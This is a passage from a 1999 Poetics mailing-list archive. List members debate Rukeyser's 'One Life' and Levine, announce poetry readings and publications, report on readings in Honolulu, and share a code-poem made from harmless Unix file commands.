April...24....Club SocIal Ipanema, Celebration of Spanish Poet Federico Garcia Lorca, presented by poets Emiliano MartIn and Peter Krok of the Manyunk Art Center*

April 25...St. John's Church Soul Cafe, Kutztown, hosted by Harry Serio

April 26...Boyertown High School, with visiting poet Jayne Relaford Brown*

April 27...Boyertown Public Library, featuring Kerry Lance Graul

April 28...Birdsboro Library hosted by stevenallenmay

April 29...YMCA of Reading

April 30...'Day of Poetry' Muhlenberg HS 9AM - 2:30PM (Martha Richardson)

 Programs funded by the Berks Arts Council*

This page created by Alex K. of G.jC Enterprises, December 1998

Contact the Webmaster at My 7 [redacted].

Heather H. Thomas, English Dept., Kutztown U., Kutztown, PA/USA [redacted]

↑ Index

25. Mark Prejsnar

Re: POETICS Digest - 23 Feb 1999 to 24 Feb 1999 (#1999-32)

Mon 1 Mar 1999

Ummm, i just haveta weigh in here, with one point, which is obviously both superficial and crucial: Her Collected Poems, with which i believe she had something to do, includes One Life prominently as one of her poems.

mark prejsnar

On Fri, 26 Feb 1999, Pierre Joris wrote:

> Mairead Byrne wrote:
>
> It's finally come to me! One Life is the Wendell Wilkie book, is that right?
>
> Yes indeed Mairead -- it is the Wilkie book, & despite my absolute devotion for MR I can't agree with Burt on this one -- it is a prose account, with some poetically ventilated pages,-- I wld think her conscious attempt is at creating a new, experiemntal or whatever, prose/biographical genre rather than a long poem.
>
> Come to think of it, my favorite of those books of hers is and remains THE TRACES OF THOMAS HARIOT -- an absolutely brilliant book. These works need to be brought back into print!
>
> Pierre
>
> You may be right, Burt, but your "definitely" is very questionable. At least Rukeyser's most recent publishers Paris Press consider One Life to be, wait for it -- PROSE (witness their classification of the book on page 141 of their edition of The Orgy, 1997).
> Mairead
>
> On Thu, 25 Feb 1999, Burt Hatlen wrote:
>
> Re: David Baratier
>
> Rukeyser's _One Life_ definitely IS a long poem (book length, combining prose and verse). I was very pleased to see it on this list--another "disappeared" masterwork of our century.
>
> Burt Hatlen

> --
> ==========
> Pierre Joris
> [redacted]
> http://www.albany.edu/~joris/
> 6 Madison Place
> Albany NY 12202
> tel: [redacted]
> fax: [redacted]
> ==========
> Nomadism answers to a relation that
> possession cannot satisfy.
>
> — Maurice Blanchot
> ==========

↑ Index

26. Mark Prejsnar
Re: PHIL LEVINE
Mon 1 Mar 1999

> Does anybody know of any specific mentions (by Language poets, or others) of the work of Levine (from sentences to essays, negative or positive, by "poets" or "critics", any info. would be helpful.....

You know somewhere one of 'em (is it in CB's A Poetics, in Perelman's Marginalization, or a more fugative essay, ...?) quotes PL from an interview, indicating that his ideal would be to write a poem without words, to have the words disappear, or to have the poem function in such a way that the language is unimportant and unnoticed by the reader...

This is taken as representative, or rather as exemplary even, of the mainstream desire for poetry (like fiction) to be "transparent" --for the language to be as undistinguished and self-effacing as possible.

All of which i agree with; but it is interesting that PL has at times been slightly more interesting than that...Apart from his quirkily work-class detroit jewish anarchism, which sure makes him more insteresting than your run-of-the-mill New Yorker hack, there are (very fleeting) times when his language doesn't wanna self-efface, albeit many of these occured a long time ago: the volume Red Dust, the long poem Pili's Wall, the title poem of the book They Feed They Lion, etc. All of which makes it even more telling that he made the statement about wanting language to disappear....

Sorry i can't recall where this mention takes place...

---mark prejsnar

↑ Index

27. david bromige
re re the longer poem/ reading announcement
Mon 1 Mar 1999

I had no idea Mr. Bowering was eavesdropping and peeping tomming on this new list. I thought one reason it had been re-formed, was to keep him and his sort out. Ok, I fess up, one night when I didnt have the price of a beer he had me sign a pact that all my writing could be published under the Bowering logo (moosehead above Carling's brewery and pair of tweed panties rampant on a field of butts). I am sad to learn that he pulled this one on Victor Coleman also, Canada's finest lyric poet; one has to admit that GB's got great taste as a colonizer.

I shall take this matter up with Robert Kroetsch when he reads at UC Berkeley tomorrow Tues Mar 2 from noon-1:30 p.m.at 13 Boalt Hall sponsored by UCB's Canadian Studies Program. This event is bag lunch/skull session; Mr.Kroetsch, a past editor of _Boundary 2_ , will be paired up with Ron Smith, author of _What Men Know About Women_ (I believe GB was a consultant on this book). The title of this joint presentation is "Going Nowhere Fast : Mis/placed Poetics." Hmm. I note that among Kroetsch's many publications is a book titled _Studhorse Man_ . Perhaps a study of George Bowering?

All this aside, I am glad to welcome George to the newly building list of The New Epic poets. "Epic or know the reason ewhy" is our motto, and I shall expand upon this to the List very shortly. (If the tone is flip, still the aim is earnest).

Bromige, now that Bowering is here.

↑ Index

28. david bromige
Ron Silliman, Poet Laureate
Mon 1 Mar 1999

There, Billy Little! It's as simple as that. All in favor say "I". Bromige.

↑ Index

29. lee ann brown
Re: Long Poems
Mon 1 Mar 1999

What about

ROBIN BLASER The Moth Poem
The Holy Forest (multi-leaved long poem as Leaves of Grass is)

Michael Ondaatje Billy the Kid poem

Also, works by Kevin Davies (his incremental work builds to book-length long chained works), Jeff Derkson, (long poems is Downtime) Lisa Robertson's Debbie (An Epic) and many others

Love
Lee Ann

> Subject: Re: long poem / Rosenthal
>
> A lot of post-1960 work in this list (Silliman, Blau Du Plessis, and others). If you're going to include post-1960 work I would hope you would define "American" as meaning more of the continent than the United States, so as not to leave off marvelous works by bpNichol, Phyllis Webb, Daphne Marlatt, George Bowering, and other Canadians. Plus Brathwaite, Walcott, and other Caribbean writers. I apologize for not being so informed about pre-1960 Canadian work -- perhaps others could help in this regard.
>
> charles

Z Y X W V U T S R Q P O N M L K J I H G F E D C B A

Lee Ann Brown
Tender Buttons
PO Box 13, Cooper Station
New York, NY 10276

[redacted]

↑ Index

30. BETSY ANDREWS
Re: THE GIFT BY H.D. THE COMPLETE TEXT
Mon 1 Mar 1999

What time?

> From: Michael Heller <[redacted]>
> To: [redacted]

> Subject: THE GIFT BY H.D. THE COMPLETE TEXT
> Date: Saturday, February 27, 1999 11:43 AM
>
> Jane Augustine asked me to post this notice to the list:
>
> You are invited to a
>
> BOOK PARTY
>
> to celebrate the publication of
>
> THE GIFT BY H.D.: THE COMPLETE TEXT
> (Univ. Press of Florida, December 1998)
>
> Edited by Jane Augustine
>
> (This edition, almost half again the length of the original ND publication, > contains, in addition to much added text, 94 pages of H.D.'s "Notes" which > she considered part of the work, and, as well, a gallery of > never-before-published pictures of H.D.s' relatives, ancestors, and > historical sites.)
>
> Wednesday, March 3, 1999
>
> Teachers & Writers Collaborative
> 5 Union Square West, 7th Floor
> NYC

↑ Index

31. pete spence

Re: Goodbye Paul, Goodby Khlebnikov

Mon 1 Mar 1999

>From: David Baptiste Chirot <[redacted]>
>cc: [redacted]
>Subject: Re: Goodbye Paul, Goodby Khlebnikov
>
>
>d/b/c said
 Professor Gerald Jenecek (author of The Look of Russian

>Literature and ZAUM which both discuss Khlebnikov and the "lesser known" >giant of Zaum, Kruchonykh)-- >and not yet Kruchonykh--though I hope that Professor Jenecek's book will >change that!)--although for the Russians and Ukrainians he was the most

> --dave baptiste chirot
>
>Dave didja get my mail wid the collaboratives in it?? go a catalogue for you will mail shortly// re khleb, the tiflis connection was very important spec via 41 degrees, but also add in chicherin too little known and who produced the great gingerbread book whyche apparently bods like kruchonykh read then ate (the perfect book!!) when yer hungry!! ok yrs pete spence

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

32. Pritchett,Patrick

Re: LEFT HAND READING 3/11/99

Mon 1 Mar 1999

> THE LEFT HAND READING SERIES FOR MARCH 11, 1999 PRESENTS:
>
> Poets
> COLE SWENSEN
> JEFFREY ROBINSON
>
> Thursday, March 11, 1999 at 8:30pm
> Left Hand Books
> 1825 Pearl Street, between 18th & 19th, above the Crystal Market
> Boulder, CO
>
> FREE - Donations requested
> (Funded in part by a Grant from the Boulder Arts Commission)
>
> Cole Swensen's books include "Numen" (Burning Deck), and "Noon," winner of Sun & Moon Press's New American Poetry Award. Her forthcoming books include "Try," winner of the Iowa Poetry Prize, and "O," a chapbook. She is the Director of the Creative Writing Program at the University of Denver.
>
> Jeffrey Robinson is the author of "Spliced Romanticism," published by Mellen Poetry Press. His poems have appeared in Many Mountains Moving and

> Prairie Schooner, among others. A distinguished professor at the University of Colorado, his scholarly works in the field of Romantic studies include, "The Walk: Notes on a Romantic Image," and "Romantic Presences: Living Images from the Age of Wordsworth & Shelley."
>
> For further information contact Mark DuCharme ([redacted]) or Patrick Pritchett ([redacted]).

↑ Index

33. Jessica Pompeii

Re: Alan Sondheim is In <automated reply>

Mon 1 Mar 1999

****

This is not a response to Alan Sondheim's automated message. Please consider this e-mail, one to be ignored, erased, and most importantly DELETED. More messages need to be deleted sooner. Reading through an entire post without jumping to conclusions can be dangerous to your health, your sanity, and mostly your shitty sex life. Relieve yourself ASAP. Consider yourself warned, by Jessica Pompei. They also call me 87864231. ---------->

DANGER DANGER DANGER ANGER ANGER DANGER DANGER DANGER
==========

↑ Index

34. A. Jenn Sondheim

The Sadness of Directories

Tue 2 Mar 1999

/\

The Sadness of Directories

```
16      cp tf wanders
17      cp thing and 18      touch touches
19      touch her
 (these are the commands creating files 'wanders and touches her') jennifer: ascii text wanders: sparc demand paged dynamically linked executable and:  ascii text her:  empty arm:  directory
```

touches: empty
her: empty
thing: ascii text
.: directory
 (this is the result of file -f in relation to files
  'jennifer wanders and her arm touches her thing.')
jennifer ascii text wanders sparc demand paged dynamically linked executable and ascii text her empty arm directory touches: empty her: empty thing: ascii text directory (this is the rearrangement of the sad result of file -f exposing the futility of emanant life, Oh, how they would love to be alive and not so empty!)
Jennifer wanders, her speech in disarray; there's hardly a spark present. She demands too much, pages and pages of her dynamically linked and executing. I think of her empty arm directing and touching everyone everywhere - I'd empty her, turn her into an empty dirty thing, reams of desecrated texts directing anyone, anywhere, to do something - to do anything at all.

 (this is what Jennifer wanted me to write about the sad result of her files so exposed to you, the emptiness of prosthetics, you know they're all phantom limbs, they're all phantoms, Jennifer says she's a phantom too, she wanted you to know this, this empty sad person in her empty life unable to touch anything at all)

↑ Index

35. juliana spahr
reading report from Honolulu
Tue 2 Mar 1999

I keep feeling it has been a bad year for poetry. And then I realize it has just begun. I'm hoping it gets better soon. Is it because of the rabbit? Or can we expect better things to come in this year? Or am I just jumpy? We have a rabbit calendar in the living room and the furry rabbit pin-up is in a cage for the months of January and February.

Linda Gregg read earlier in the semester to a packed room. I had to sit on the floor in the back. She read some poems about some time she had spent in Greece and about some time she had spent in El Salvador and about some time she had spent in some other places. She talked about how when she was little she didn't know she was rich all she knew was that the sun rose and the sun set on the land and they had horses. She mentioned Jack Gilbert and Ann Rice and some other people whose names I forget. Her poems are in the lyrical tradition. A sort of lyrical tourism. I think she is based in California. She is a mainland poet.

And then I'm having a disillusionment with the local poetry scene moment. Which isn't fair but I might as well tell about it in an attempt to rid myself of it once and for all. It started late last year when I went to a reading organized by the Guerilla Gardeners Union, a splinter group of the now defunct Wobblies. Gabrielle Welford organizes these readings and they are lefty events (the last one was a "fundraiser" for Mumia and Peltier) and community readings. A lot of new writers read and the emphasis is on work by Pacific Islanders. They are fun events. There is often a band and some hippies come (unusual on Oahu). As usual a number of community poets read but the only one that stays in my mind was a poem that compared colonialism to butt fucking and actually said that no one could possibly like that. The poet is a well respected activist lawyer here. I kind of can't get this out of my mind. It took me a long time to repress it.

But then it all came rushing back last week when I saw Joe Balaz read. He writes poems in pidgin. Sometimes they are a sort of dramatic monologue. I enjoy them and find his work often very astute about local politics. He does visual poems in the Hawaiian language (on the Tinfish website--good for teaching!). And he has a poem about how Hawai'i is the mainland to him. He has a poem about getting "kimo-therapy" (Kimo is a man's name, like Jim; and the poem makes clear that kimo-therapy is a punch in the mouth.) He seems to be turning himself into a sort of performance poet. Like he had props and a lighting staff. He would put on a certain hat and then the light would come on and then he would recite his poem. He unfortunately acted out the woman's voices as high squeaky ones. And once he acted out an old man (and the lights got all dark) for a poem about the last squid. But he read a poem about a naked man on the beach who propositions the narrator and then the narrator beats him with a baseball bat size stick (Balaz picked up a stick he had on stage and demonstrated a hit crotch high). The poem has a tight rhyme and is supposed (I think) to be silly. I say "narrator" but it isn't really a dramatic monologue. It reads in that universal poetry voice.

So I'm trying to figure out the sexuality stuff and not be all weird about it and say generic things about the local scene but I'm having trouble ignoring it and being accepting of it. I keep wondering about the crowd's laughter at the Balaz piece. And yet not really knowing what exactly the proper response is either. And not even being sure of the point of the poem (unlike the wrongness of that equation between colonialism and butt fucking). But I'm still feeling sensitive about those bumper stickers that say save traditional marriage.

But I went to a good series of talks at the Center for Hawaiian Studies a few nights ago. It was on mele ku'e (songs of protest). One song had the line "the greatest of all women are Queen Emma and Queen Victoria." Queen Emma apparently sided with the Brits against the Amer. There was some good hula. And Amy Gillian (a pop local singer) sang some songs she had had translated into Hawaiian. One was about the H3 highway controversy and another was about walking into the Iolani Palace. Some guy did a talk on a mele that compared a missonary guy to an over ripe bannana. It had a lot of good metaphors in about how stupid the man was. And then a guy fom Sudden Rush (a local rap group) sang and talked also. He talked nervously and nonstop and made all these jokes. One was knock knock; who's there?; a portugee burglar. He said he could tell this joke b/c he is Portugese also. The event was fun b/c it made the univ seem alive and in touch with the community to have popular singers taken seriously at a conference on mele ku'e. Apparently Huanani Kay Trask is the one that has made the word ku'e such a rally cry. She found it a mele that some people did a hula to that was about the militia that tried to regain power after Queen L. was kicked out by the haole junta.

And then Roy Miki and Ashok Mathur were just here. They are from Canada. Ashok once did a prairie asians tour in Canada. Roy edits West Coast Line. They had just come from Australia. It was interesting talking to them and about experimental poetry and race issues. They read at a Coffee shop. During the reading people kept walking between the reader and the audience to go to the bathroom. They were all carrying a child's shoe with a key on it and for some reason they refused to not interupt the reading. The reading was good and fun. I especially liked the poems Ashok read from his book _Loverauge_. The audience was very small. I had kind of hoped more people would come b/c Roy has done all this work on the Canadian internment of Japanese-Canadians during WWII and there is a lot of talk here about the U.S. internment. I had hoped the Japanese activist connection would bring out writers from that community. But alas. Among the few present, there was a lady who comes to all the readings here. She asked Bill if he knew what the price of chicken was. And she told me that she was calling California to see if the price of gas had gone down any around here (there is a lawsuit happening here about gas companies price fixing and inflating the cost of gas--it is around $1.50 per gallon; Bill doesn't know the price of chicken but it is probably high also). We went out after the reading and all drank really dark beers and talked. The talk was about curriculum and postcolonialism and, as always, Hawai'i. One person said that Ben Cayetano should just go back to the Philippines, where he came from (I think he was born here but I'm not sure). That comment made the rest of us nervous but no one said anything.

Today Roy and Ashok gave a talk at the English Dept. Ashok read some excerpts from his dissertation on two emerging Indian-Canadian (or is that S.E. Asian-Canadian?) writers whose names I didn't write down and so don't remember but who seemed very interesting and fun. Roy talked a lot about the commodification of minority writing in Canada. The audience was very small. 1/9 of the potential audience had fainted before the talk and another 1/9 had gone with him to the hospital. I felt kind of annoyed at the smallness of the audience (not at the guy who fainted; him I'm worried about) b/c there are a lot of people in my dept who teach and/or study Asian-American literature and I felt they shoulda been interested in what our Northern neighbors are up to. That is the scolding evil side of me that is really just the side of me that longs for cross ocean and land mass communities, no more colonialism ever, and yet more butt fucking overall.

↑ Index

36. miekal and
Ez @ St Liz
Tue 2 Mar 1999

---

db

The long poem is alive & well, a life's work lived & written thru. History prefigures the outcome, the epickal outlasts any distant memories that words fall short of. From which hospital will you rewrite your glowing paramyth?

ez lb

↑ Index

37. Poetics List
Virtual Poetry Workshop with Hoa Nguyen
Tue 2 Mar 1999

Hi. This came to me at the admin account. Chris

From: "Daniel Kane" <[redacted]>
Date: 3/1/99, 12:13 PM -0500

Teachers & Writers Collaborative is pleased to announce an on-line poetry workshop led by poet Hoa Nguyen. You can access this on the WriteNet web site at http://www.twc.org/forums/virtualpoetrywrkshp.html

8 students from around the country are participating in this workshop. Their poems (and Hoa's responses) can be seen on the forum page at http://www.twc.org/forums/indexWVW.html

Finally, to learn a little about Hoa's own poetry, check out her bio page at http://www.twc.org/forums/hoa_nguyen.html

Hoa's exercises are there for all teachers to use -- however, the forum page is reserved for our 8 students only. If you do use Hoa's exercises, please drop her line and let her know what you think. She can be reached at

[redacted]

--daniel

#This list-serve is designed for teachers and writers who want #to share ideas on teaching creative writing workshops for students #in grades K-12. To post, send mail to [redacted]. #To join the list-serve, send the message "subscribe writenet" to #[redacted]. #To join the list-serve digest, which will collect several #messages into a batch and send them to you as one message #(reducing the total amount of messages sent to your mailbox), #send the message "subscribe writenet-digest" to [redacted]. #To unsubscribe, send the message "unsubscribe writenet" or #To view an archive of past messages on the Web, go to #<www.twc.org/forums> and hit the "Teachers & Writers #Discussion Group" link.

↑ Index

38. Maria Damon queries
Tue 2 Mar 1999

---

does anybody have snail mail addresses for World Literature Today, Caribbean Literary Quarterly, or our own beloved Small Press Traffic Newsletter? backchannel please! bests, md

↑ Index

39. Mairead Byrne
Re: POETICS Digest - 23 Feb 1999 to 24 Feb 1999 (#1999-32)
Tue 2 Mar 1999

Oh for God's sake man The Collected Poems includes a section called From ONE LIFE, which does indeed present many poems from the book called ONE LIFE, which is about the life and times of Wendell Willkie. Some of these poems are called "WILLKIE -- STOPLESS FALLING THROUGH AIR," and "Radio silence of aircraft over the dense ocean," and Rang and rang, rang in a small boy's head," and even "My name Is Tommy Torin," but there is no long poem called ONE LIFE. So stop about it now. Enough. Mairead

On Mon, 1 Mar 1999, Mark Prejsnar wrote:

> Ummm, i just haveta weigh in here, with one point, which is obviously both superficial and crucial: Her Collected Poems, with which i believe she had something to do, includes One Life prominently as one of her poems.
>
> mark prejsnar
>
> On Fri, 26 Feb 1999, Pierre Joris wrote:
>
> Mairead Byrne wrote:
>
> It's finally come to me! One Life is the Wendell Wilkie book, is that right?
>
> Yes indeed Mairead -- it is the Wilkie book, & despite my absolute devotion for MR I can't agree with Burt on this one -- it is a prose account, with some poetically ventilated pages,-- I wld think her conscious attempt is at creating a new, experiemntal or whatever, prose/biographical genre rather than a long poem.
>
> Come to think of it, my favorite of those books of hers is and remains THE TRACES OF THOMAS HARIOT -- an absolutely brilliant book. These works need to be brought back into print!
>
> Pierre
>
> You may be right, Burt, but your "definitely" is very questionable. At least Rukeyser's most recent publishers Paris Press consider One Life to be, wait for it -- PROSE (witness their classification of the book on page 141 of their edition of The Orgy, 1997).
> Mairead
>
> On Thu, 25 Feb 1999, Burt Hatlen wrote:
>
> Re: David Baratier
>
> Rukeyser's _One Life_ definitely IS a long poem (book length, combining prose and verse). I was very pleased to see it on this list--another "disappeared" masterwork of our century.
>
> Burt Hatlen
>
> --

> ==========
> Pierre Joris
> [redacted]
> http://www.albany.edu/~joris/
> 6 Madison Place
> Albany NY 12202
> tel: [redacted]
> fax: [redacted]
> ==========
> Nomadism answers to a relation that possession cannot satisfy.
>
> — Maurice Blanchot
> ==========

↑ Index

40. Rodrigo Toscano

Rodrigo Toscano's New E

Tue 2 Mar 1999

Dear Listees,

Here's my new e and address...

Rodrigo Toscano (all caps) [redacted]

1424 A South Van Ness
San Francisco, CA 94110

[redacted]

R%T

↑ Index

41. Keith Tuma

Brixton Fractals--new edition

Tue 2 Mar 1999

Nate Dorward has asked if I'd forward this to the Buffalo list. Happy to do so as well as to echo his praise for Brixton Fractals.

Keith Tuma

> Hi all--a long-awaited announcement, appended below: the new _Brixton Fractals_ edition is out. A brief plug of my own: I think many denizens of this list would number _BF_ among the crucial books of the '80s; it is, at > once, a resource-based notation of place & a path of reading/knowledge, a continually self-transforming text (lines & poems are rewritten & resounded from page to page), and a set of narratives whose personified characters--Burglar, Bellman, Artist, Mathematician--call to mind at once Lewis Carroll, Blake, and Langland. -- That's a quick approximation, anyway. And you get this in a book not (like the first edition) liable to dissolve into a sheaf of loose pages!

>
> I should also add that later this year I'll be publishing a chapbook of essays associated with _Brixton Fractals_, called _The Topological Shovel_. This will include the important _Necessary Business_ in an updated text. More information forthcoming soon.....
>
> Nate Dorward
> [redacted]
> 109 Hounslow Ave., Willowdale, ON, M2N 2B1, Canada
> ph: [redacted]
>
> ---
>
> New from Tsunami Editions
>
> BRIXTON FRACTALS
>
> by
>
> Allen Fisher
>
> (reprint of Brixton Fractals published by Aloes Books, 1985)
>
> 92 pages securely stapled
> 9 canadian dollars (plus $1 postage)
> to order please email Deanna Ferguson at:
> [redacted]

↑ Index

42. louis stroffolino

Reading in Reading, PA...

Tue 2 Mar 1999

I just wanted add to Heather Thomas's list of readings in the hometown of Wallace Stevens, Byron Vazakas, Baziotes, and, yikes, Updyke...

a blatant self-promotion--
ON APRIL 21st, 1999, I will be returning to my alma matter, Albright College, to read poetry in the very same "south lounge" of the "campus center" where I learned to play piano.
I even think my book, STEALER'S WHEEL (HARD PRESS, 1999), might very well be out by then....

chris

On Mon, 1 Mar 1999, louis stroffolino wrote:
>
>
>
>
> On Mon, 1 Mar 1999, Heather H Thomas wrote:
>
> > BARDFEST 99(C)
> >
> > Reading, Pennsylvania & Berks County
> >
> > http://www.geocities.com/~poetspride/bardfest99.html
> >
> > Celebrating April... National Poetry Month
> >
> > 30 Days / 30 Venues
> >
> >
> > for details contact stevenallenmay: [redacted]
> >
> >
> > Events Calendar
> >
> > ---
> >
> > April 1....Fools Day : BARDFEST 99(C) Sampler with stevenallenmay & Craig > > Czury and others at
> >
> > April 2....Benefit for the community of Lyons.
> >
> > April 3....Blue Marsh Lake
> >

> > April 4....Skyline Drive Fire Tower, Easter Sunrise Service with Poetry
> >
> > *April 5....Reading High School, with visiting poet Luis Otero-Garabis
> >
> > April 6...RAAC "Bruce Stanley Memorial Reading, with Reading H.S. > > students
> >
> > April 7....Mulhenburg Public Library, hosted by Charles Scanzello
> >
> > *April 8....Alexander's Deli, New Jerusalem, Celtic Night hosted by Jen > > Gittings Dalton, featuring Beth Phillips Brown
> >
> > April 9...Upstairs Gallery, Douglasville, hosted by stevenallenmay
> >
> > *April 9...Julia Lopez featured poet at the Puerto Rican Latin > > Association.
> >
> > April 10...Wyomissing Inst. of Fine Arts, afternoon poetry workshop with > > Craig Czury and evening reading featuring his students ($25)
> >
> > April 11...Tattered Pages Book Store, Shillington
> >
> > *April 12...Hamburg High School, with visiting poet Harry Eshelman.
> >
> > April 13...Hamburg Public Library
> >
> > April 14...Penn State Berks Campus, poetry writing workshop with Michael > > Riley's creative writing class and reading at the Freyberger Art > > Gallery, featuring his students
> >
> > April 15...Kutztown Public Library
> >
> > *April 16....Reading Museum, featuring Harry Humes
> >
> > April 17...Sahara Restaurant...Poetry Jazz
> >
> > April 18....Unitarian Church of Reading 6-8PM
> >
> > *April 19...Schuylkill Valley High School, visiting poet Karen Blomain
> >
> > April 20...Schuylkill Valley Public Library, featuring Schuylkill Valley
> > HS poets

> >
> > April 21....Borders Book store
> >
> > April 22...Fire & Ice Cafe, Fleetwood hosted by Gina Stitzer
> >
> > April 23...Albright College
> >
> > *April...24....Club SocIal Ipanema, Celebration of Spanish Poet Federico > > Garcia Lorca, presented by poets Emiliano MartIn and Peter Krok of the > > Manyunk Art Center
> >
> > April 25...St. John's Church Soul Cafe, Kutztown, hosted by Harry Serio
> >
> > *April 26...Boyertown High School, with visiting poet Jayne Relaford > > Brown
> >
> > April 27...Boyertown Public Library, featuring Kerry Lance Graul
> >
> > April 28...Birdsboro Library hosted by stevenallenmay
> >
> > April 29...YMCA of Reading
> >
> > April 30...'Day of Poetry' Muhlenberg HS 9AM - 2:30PM (Martha > > Richardson)
> >
> >
> > * Programs funded by the Berks Arts Council
> >
> >
> > ---
> >
> > This page created by Alex K. of G.jC Enterprises, December 1998
> >
> > Contact the Webmaster at My 7 [redacted].
> >
> >
> > Heather H. Thomas, English Dept., Kutztown U., Kutztown, PA/USA
[redacted]
> >
>

↑ Index

43. Catherine Daly
Re: Brown
Tue 2 Mar 1999

Thanks for the tolerance.

Lee Ann Brown read well, sang again, read poems quite differently selected from _Polyverse_, but still a cohesive, performative, revelatory whole at Sun & Moon, the new Buck a Book for the Miracle Mile?

Not quite, and I still owe $5 to the press. But do go there, perhaps with enough cash, for the sale.

Rgds,
Catherine Daly
[redacted]

↑ Index

44. Ron Silliman
Not That Pig
Tue 2 Mar 1999

I do believe that was Saul Bellow who said this, not Levine. And I suspect that I'm the one who cited SB to that effect, tho, since I'm at work and Bromige & Billy Little have yet to complete the concordance of my critical texts, I can't tell you where...

But it weren't Phil (Not This Pig) Levine, unless he made the same gaffe independently.

Ron Silliman

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

45. Ron Silliman
Now I remember
Tue 2 Mar 1999

It's in "Disappearance of the Word, Appearance of the World," in Das Neue Satz

If I started a school of cowboy language poets, could I become poet lariat?

Ron

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

46. Joe Ross
Re: Page Mothers Reading
Tue 2 Mar 1999

For those of you in San Diego this weekend for the Page Mothers Conference - -

Beyond The Page is hosting a special post-conference reading:

Sunday, March 7th at 1 P.M.

Readers include:

Rae Armantrout Fanny Howe A.L Nielsen Dodie Bellamy
Jennifer Hofer Leslie Scalapino Lee Ann Brown Pamela Lu
Margy Sloan Rachel Blau Duplessis Bill Luoma Juliana Spar
Lyn Hijinian Laura Moriarty

-Plus others who aren't confirmed at this moment.

Beyond The Page holds its events at:

The Faultline Theater
3152 5th Ave (5th & Spruce in Hillcrest)
San Diego, CA

All events are free with donations going to the readers & for rent

Beyond The Page is an independent arts group dedicated to the promotion of experimental and explorative work in contemporary arts. For more information contact Joe Ross: [redacted] or Stephen Cope: [redacted]

↑ Index

47. Charles Alexander
Re: Now I remember
Tue 2 Mar 1999

---

depends on the jingle of your spurs

> If I started a school of cowboy language poets,
> could I become poet lariat?
>
> Ron

---

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

↑ Index

48. Garrett Kalleberg

TF News

Tue 2 Mar 1999

Tuesday, March 2, 1999

Dear Poeticsmongers, -cozeners, -traders, -speculators and -collectors:

A couple of announcements from The Transcendental Friend:

Links have been posted to an Editorial Statement, Submissions information, and a general masthead page at the Transcendental Friend home page (http://www.morningred.com/friend). TF welcomes submissions that contribute to the ongoing projects here. Please take a look at these pages and send a note if you're interested.

Leonard Schwartz joins TF as the new editor of Report from Afield, Duncan Dobbelmann as Contributing Editor, and Kevin Varrone as Managing Editor.

Lastly, we'd like to mention that next month is the one year anniversary of TF. Readings & general merrymaking to take place at the Dactyl Foundtation in NY on March 16. The March(/April) issue of the Transcendental Friend, will be posted at that time. An audio CD will also be available. More news to follow.

The current issue no. 8, "Coffins," can be seen at http://www.morningred.com/friend/1999/02/cover.html

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

↑ Index

49. Michael Scharf

Page Mothers Coverage ASAP

Wed 3 Mar 1999

Going to California?

I have a friend who is an editor at a prominent writerly magazine that has recently been redesigned. She is looking for someone to write 1,000 clear, admiring words about the Page Mothers conference and its participants. She will pay you. Lots of people will read it. You'd be doing the conference good. Please come forward. Journalistic or reviewing experience, as they say, would be a big plus.

The admiring part was my idea but I'm certain it is an apt one.

If you are a panelist it does not, I would guess, disqualify you -- new journalism, etc.

Backchannel ASAP -- thanks -Mike

↑ Index

50. George Bowering
Re: Kroetsch/Smith
Wed 3 Mar 1999

I hope that Bay Area folk, at least, get/got to the Kroetsch and Smith reading at Berkeley, and that someone can report on it. Kroetsch is, in my opinion, the most interesting living Can. writer up here, and Smith is one of two poets I know who claim to be good golfers.

As to Bromige. I want it understood that while I write his poems, I do not write his letters.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

51. Kevin L. Magee
Richard Foreman's New Writing
Wed 3 Mar 1999

Some staging notes responsive to RF's website posted 2/27.

Window and door and a cup and a cloud and a phone and a table and tree, who could you find to find them for you? Somebody who thinks they know how to run the show says these are props. I said I didn't know what props were or what they were for. Here they are words that float and rest for a moment among pairs of voices, there are only a few of them, you wouldn't need to ask a whole lot of people to be the voices, not the objects, the voices are never objects here, eluding objectification, could they even bear to be identified by the body of the actor? These voices are outside the thingness of the words for the objects that are images, not props, but image-objects. How can you see them without a camera? How can you stage them without a camera? Richard Foreman's new writing for the theater abolishes cinema. There can be no light tricks. There needs to be natural light only, coming in through the loft or gallery window like the one at Canessa Park. The play(s) would then need to take place across a 24 hour period. Natural light falling on words for image-objects which I don't know if they should be spoken by live speakers. RF writes that he used tapes a long time ago, before William Dafoe. Maybe the actors whose bodies the voices are supposed to coming out of need at least to begin mutely, as a gesture to Kattrin (RF's Brecht). The words would surround the live speakers, and they would fall toward them, and the action would be the actors trying to find the words with their mouths, and the v-effect of it would not be coming from anything more monumental than the recognition that the simplest words for things and thoughts and feelings like the "I love you" these speakers say would materialize through an unprecedented intersubjectivity, one endless day and night in which the Poem can be heard departing from its graphic site, paper or screen, and returning to the fragile acoustics of the interreal, which sounds to those outside it to be the doubly unreal. Richard Foreman's new writings tell me there is a human voice. It is both one and not-one together for the many who are without a voice. There is also a child's garden of verses here, for the children our government is killing in Iraq.

Does RF suggest in an essay that he was "pandering to the masses" (his own title) when in one show two naked women on roller skates bent over to bare their asses to the audience? They called this pornography. Guys and dolls. In RF's new writings it is the kiss that shocks to be shown, an action that could it be represented, and I don't think it can, might tear the viewer between her critical detachment-position and her body's involuntary, reflexive wet.

KM/3-3/Cleveland

↑ Index

52. miekal and
Re: Now I remember
Wed 3 Mar 1999

I'm afraid the recently passed to the great bucktooth saloon in the sky, Jack Spandrift has coralled those honors.

Slim St And

Ron Silliman wrote:
>
> It's in "Disappearance of the Word, Appearance of the World," in Das
> Neue Satz

>
> If I started a school of cowboy language poets,
> could I become poet lariat?
>
> Ron
>
> _____
> Get Your Private, Free Email at http://www.hotmail.com

↑ Index

53. Poetics List

Welcome Message reprise

Wed 3 Mar 1999

Welcome to the Poetics List & The Electronic Poetry Center

..sponsored by The Poetics Program, Department of English, College of Arts & Science, the State University of New York, Buffalo /// Postal Address: Poetics Program, 438 Clemens Hall, SUNY Buffalo, NY 14260

Poetics List Moderator: Christopher W. Alexander
